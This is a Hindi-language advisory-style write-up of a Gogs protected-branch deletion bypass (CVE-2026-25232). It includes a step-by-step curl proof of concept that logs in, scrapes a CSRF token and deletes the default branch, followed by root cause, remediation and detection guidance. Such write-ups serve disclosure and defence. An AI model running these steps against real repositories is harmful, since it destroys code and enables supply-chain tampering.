CVE-2026-25232 — Gogs संरक्षित शाखा विलोपन बाईपास (Write → Admin एस्केलेशन)

अवलोकन

विवरण

CVE-2026-25232 Gogs वेब इंटरफ़ेस में एक एक्सेस कंट्रोल बाईपास भेद्यता है। यह Write अनुमतियों वाले किसी भी रिपॉजिटरी सहयोगी को DeleteBranchPost एंडपॉइंट पर सीधा POST अनुरोध भेजकर संरक्षित शाखाओं — डिफ़ॉल्ट शाखा सहित — को हटाने की अनुमति देता है, जो शाखा सुरक्षा तंत्रों को पूरी तरह से बाईपास करता है।

मूल कारण Git Hook परत और वेब इंटरफ़ेस के बीच शाखा सुरक्षा लागू करने के तरीके में अंतर है:

• Git Hooks (SSH): SSH पुश संचालन के माध्यम से संरक्षित शाखा विलोपन को सही ढंग से ब्लॉक करते हैं
• वेब इंटरफ़ेस: DeleteBranchPost फ़ंक्शन Git Hooks को ट्रिगर नहीं करता है, इसलिए सुरक्षा जाँच कभी निष्पादित नहीं होती है

यह कम-विशेषाधिकार वाले सहयोगी को ऐसे संचालन करने की अनुमति देता है जो केवल रिपॉजिटरी प्रशासकों तक सीमित होने चाहिए।

पूर्वापेक्षाएँ

• एक पंजीकृत Gogs खाता
• लक्ष्य रिपॉजिटरी पर Write अनुमतियाँ
• लक्ष्य रिपॉजिटरी पर कॉन्फ़िगर की गई संरक्षित शाखाएँ
• Gogs वेब इंटरफ़ेस तक नेटवर्क पहुँच

प्रूफ ऑफ कॉन्सेप्ट

वातावरण

• लक्ष्य: http://<TARGET>:3001
• हमलावर खाता: attacker:Password123! (रिपो पर Write अनुमतियाँ)
• लक्ष्य रिपो: admin/important-repo
• संरक्षित शाखा: main (डिफ़ॉल्ट शाखा)

चरण 1 — सत्यापित करें कि शाखा सुरक्षा सक्षम है

पुष्टि करें कि शाखा संरक्षित है और सामान्य माध्यमों से हटाई नहीं जा सकती:

# API के माध्यम से सामान्य शाखा विलोपन का प्रयास करें - यह विफल होना चाहिए
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

अपेक्षित प्रतिक्रिया: 403 Forbidden या सुरक्षा त्रुटि।

चरण 2 — एक वैध CSRF टोकन प्राप्त करें

किसी भी प्रमाणित पृष्ठ से CSRF टोकन प्राप्त करें:

curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# रिपो पृष्ठ से CSRF टोकन निकालें
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

चरण 3 — DeleteBranchPost पर सीधे POST के माध्यम से सुरक्षा बाईपास करें

सुरक्षा जाँच को बाईपास करते हुए शाखा विलोपन एंडपॉइंट पर सीधा POST अनुरोध भेजें:

curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

हमलावर के पास केवल Write अनुमतियाँ होने के बावजूद संरक्षित शाखा हटा दी जाती है।

चरण 4 — विलोपन सत्यापित करें

curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

main शाखा अब प्रतिक्रिया में दिखाई नहीं देगी।

यह क्यों काम करता है

Gogs के वेब हैंडलर में DeleteBranchPost फ़ंक्शन सत्यापित करता है कि उपयोगकर्ता प्रमाणित है और उसके पास रिपॉजिटरी तक Write पहुँच है, लेकिन यह जाँच नहीं करता कि लक्ष्य शाखा संरक्षित है या नहीं:

HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
जाँच: क्या उपयोगकर्ता प्रमाणित है? ✓
जाँच: क्या उपयोगकर्ता के पास Write पहुँच है? ✓
जाँच: क्या शाखा संरक्षित है? ✗ (अनुपस्थित)
    ↓
शाखा सफलतापूर्वक हटाई गई

शाखा सुरक्षा लागू करने वाली Git Hook परत केवल SSH या HTTP Git प्रोटोकॉल पर Git पुश/विलोपन संचालन के दौरान ट्रिगर होती है — वेब इंटरफ़ेस संचालन के दौरान नहीं। यह वास्तुशिल्प अंतर किसी भी Write-स्तर के सहयोगी को यह संचालन करने की अनुमति देता है।

प्रभाव

Write अनुमतियों वाला एक दुर्भावनापूर्ण सहयोगी निम्न कार्य कर सकता है:

• डिफ़ॉल्ट शाखा सहित किसी भी संरक्षित शाखा को हटा सकता है
• रिपॉजिटरी की मुख्य विकास श्रृंखला को नष्ट कर सकता है
• संरक्षित शाखा पर निर्भर CI/CD पाइपलाइनों को बाधित कर सकता है
• सुरक्षा के बिना फोर्स-पुश या शाखाओं को पुनः बना सकता है, जिससे उत्पादन पाइपलाइनों में कोड इंजेक्शन संभव हो सकता है
• शाखा प्रबंधन संचालन के लिए प्रभावी विशेषाधिकारों को Write → Admin स्तर तक बढ़ा सकता है

ऐसे वातावरणों में जहाँ Gogs रिपॉजिटरी स्वचालित परिनियोजन पाइपलाइनों में फीड करती हैं, यह आपूर्ति श्रृंखला समझौते का कारण बन सकता है।

उपचार

Gogs v0.14.1 या बाद के संस्करण में अपग्रेड करें। फिक्स DeleteBranchPost फ़ंक्शन में उचित प्राधिकरण जाँच जोड़ता है ताकि अनुरोध कैसे भी किया जाए, विलोपन की अनुमति देने से पहले शाखा सुरक्षा स्थिति सत्यापित हो।

अस्थायी शमन के रूप में:

• रिपॉजिटरी Write पहुँच को केवल अत्यधिक विश्वसनीय उपयोगकर्ताओं तक सीमित करें
• Gogs वेब इंटरफ़ेस तक कौन पहुँच सकता है, इसे सीमित करने के लिए नेटवर्क-स्तरीय एक्सेस नियंत्रण लागू करें
• /repos/{owner}/{repo}/branches/delete पर अप्रत्याशित POST अनुरोधों के लिए वेब सर्वर लॉग की निगरानी करें
• संरक्षित शाखाओं की प्रतियाँ बनाए रखने के लिए बाहरी बैकअप समाधानों का उपयोग करें

पहचान

शोषण के निम्नलिखित संकेतकों की तलाश करें:

• वेब सर्वर लॉग में /<owner>/<repo>/branches/delete पर अप्रत्याशित POST अनुरोध
• लॉग में संबंधित Git Hook गतिविधि के बिना संरक्षित शाखाएँ हटाई गईं
• उन उपयोगकर्ताओं द्वारा शाखा विलोपन घटनाएँ जिनके पास Admin विशेषाधिकार नहीं हैं
• डिफ़ॉल्ट शाखा गायब या अप्रत्याशित रूप से बदली हुई

संदर्भ

• GitHub सुरक्षा सलाहकार GHSA-2c6v-8r3v-gh6p
• Gogs v0.14.1 रिलीज़
• CWE-863: गलत प्राधिकरण

अस्वीकरण

यह PoC केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनका परीक्षण करने की आपके पास स्पष्ट अनुमति नहीं है।